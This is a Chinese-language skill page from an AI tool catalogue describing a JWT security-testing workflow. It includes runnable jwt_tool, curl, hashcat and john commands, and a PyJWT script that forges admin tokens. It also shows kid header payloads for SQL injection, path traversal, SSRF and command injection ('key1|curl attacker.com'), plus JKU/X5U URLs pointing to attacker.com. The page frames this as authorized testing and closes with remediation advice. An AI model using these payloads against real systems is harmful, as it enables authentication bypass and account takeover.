SuperAPI AI 工具集

testing-for-json-web-token-vulnerabilities

安全与审计

查看项目

更新于 10-15 02:17

技能介绍

用途

该技能用于对使用 JWT(JSON Web Token)进行认证、会话管理与授权的应用开展安全测试,覆盖算法混淆、"none" 算法绕过、kid/jku 参数注入、弱密钥爆破等常见 JWT 漏洞。适用时机包括:测试使用 JWT 进行认证与会话管理的应用;在 API 安全评估中 JWT 被用于授权时;评估使用 JWT 的 OAuth 2.0 或 OpenID Connect 实现;对单点登录(SSO)系统进行渗透测试;审计 JWT 库配置中的已知漏洞。

前置条件

  • jwt_tool(Python JWT 利用工具包)
  • 带 JWT Editor 扩展的 Burp Suite
  • jwt.io,用于解码和检查 JWT 结构
  • 理解 JWT 结构(header.payload.signature)与算法(HS256、RS256)
  • hashcat 或 john,用于爆破弱 JWT 密钥
  • Python PyJWT 库,用于编写自定义 JWT 伪造脚本
  • 可访问使用 JWT 认证的应用

法律声明:该技能仅用于授权安全测试与教育目的。未经授权对不拥有或未获书面许可的系统使用属违法行为,可能违反计算机欺诈相关法律。

主要能力与工作流程

第 1 步 — 解码并分析 JWT 结构

安装与解码命令:

pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
python3 jwt_tool.py <JWT_TOKEN>
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d

在 jwt.io 中检查算法(alg)、密钥 ID(kid)、签发者(iss)、受众(aud)、过期时间(exp)、生效时间(nbf)以及声明(role、admin 等)。示例头部:{"alg":"RS256","typ":"JWT","kid":"key-1"},关注 alg、kid、jku、jwk、x5u、x5c 等头部字段。

第 2 步 — 测试 "None" 算法绕过

python3 jwt_tool.py <JWT_TOKEN> -X a
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin

手工方式:将头部 {"alg":"HS256","typ":"JWT"} 改为 {"alg":"none","typ":"JWT"},编码新头部、保留载荷、去掉签名(最后一个点后为空)。可尝试的变体包括 "none"、"None"、"NONE"、"nOnE"。

第 3 步 — 测试算法混淆(RS256 转 HS256)

若服务端使用 RS256,尝试改用 HS256 并以公钥作为 HMAC 密钥。获取公钥:

curl http://target.com/.well-known/jwks.json
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout > public_key.pem
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem

手工方式:将头部由 {"alg":"RS256"} 改为 {"alg":"HS256"},用公钥以 HMAC-SHA256 签名:

python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
    public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"

第 4 步 — 测试 Key ID(kid)参数注入

python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
  -S hs256 -p "secret-key"
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
  -S hs256 -p ""
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"

覆盖 kid 的 SQL 注入、路径遍历、指向空文件、SSRF 以及命令注入(较少见)等情形。

第 5 步 — 测试 JKU/X5U 头部注入

python3 jwt_tool.py <JWT_TOKEN> -X s
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
python3 jwt_tool.py <JWT_TOKEN> -X i

JKU 注入:将 jku 指向攻击者控制的 JWKS;X5U 注入:使用 X.509 证书链;嵌入式 JWK 攻击:在 JWT 头部内注入密钥。

第 6 步 — 爆破弱 JWT 密钥

hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
  -I -pc role -pv admin -pc sub -pv "admin@target.com"

常见弱密钥包括 secret、password、123456、admin、test、key、jwt_secret,以及应用名、公司名、域名等。

关键概念

  • 算法混淆:从非对称(RS256)切换到对称(HS256),以公钥作为密钥
  • None 算法:将 alg 设为 "none" 生成无签名令牌,被配置不当的服务器接受
  • Kid 注入:利用 Key ID 头部参数进行 SQLi、路径遍历或 SSRF
  • JKU/X5U 注入:将密钥来源 URL 指向攻击者控制的服务器以替换密钥
  • 弱密钥:可通过字典攻击爆破的 HMAC 密钥
  • 声明篡改:绕过签名验证后修改载荷声明(role、sub、admin)
  • 令牌重放:在会话本应过期后重用有效 JWT

工具与系统

  • jwt_tool:全面的 JWT 测试与利用工具包
  • JWT Editor(Burp):用于 JWT 操作与攻击自动化的 Burp Suite 扩展
  • hashcat:GPU 加速的 JWT 密钥爆破(模式 16500)
  • john the ripper:基于 CPU 的 JWT 密钥破解
  • jwt.io:在线 JWT 解码与调试工具
  • PyJWT:用于以编程方式创建和验证 JWT 的 Python 库

常见场景

  • None 算法绕过:将 JWT 算法改为 "none"、移除签名,在接受无签名 JWT 的服务器上伪造管理员令牌
  • 算法混淆:利用泄露的公钥将 RS256 切换为 HS256,伪造任意令牌获取管理权限
  • Kid SQL 注入:在 kid 参数注入 SQL 载荷,从数据库提取签名密钥
  • 弱密钥破解:使用 hashcat 爆破 HMAC-SHA256 密钥,为任意用户伪造 JWT
  • JKU 服务器欺骗:将 JKU 头部指向攻击者控制的 JWKS 端点,用攻击者私钥签名令牌

输出格式

报告包含目标、JWT 算法、JWKS 端点,以及发现表格(漏洞、技术、影响、严重程度),例如:None 算法被接受(alg: "none",认证绕过,严重);算法混淆(RS256 -> HS256,令牌伪造,严重);弱 HMAC 密钥(爆破出 "secret123",完全令牌伪造,严重);Kid 路径遍历(kid: "../../dev/null",以空密钥签名,高)。修复建议包括:在 JWT 验证中强制算法白名单(拒绝 "none");使用非对称算法(RS256/ES256)并妥善管理密钥;为 HMAC 算法实现强随机密钥(256 位以上);对 kid 参数实施严格白名单校验;忽略 jku/x5u 头部或针对已知端点校验;设置合理的令牌过期时间(exp)并实现令牌吊销。

限制

该技能仅限授权安全测试与教育用途;未经授权使用属违法。资料未提供其他平台支持、收费或价格信息。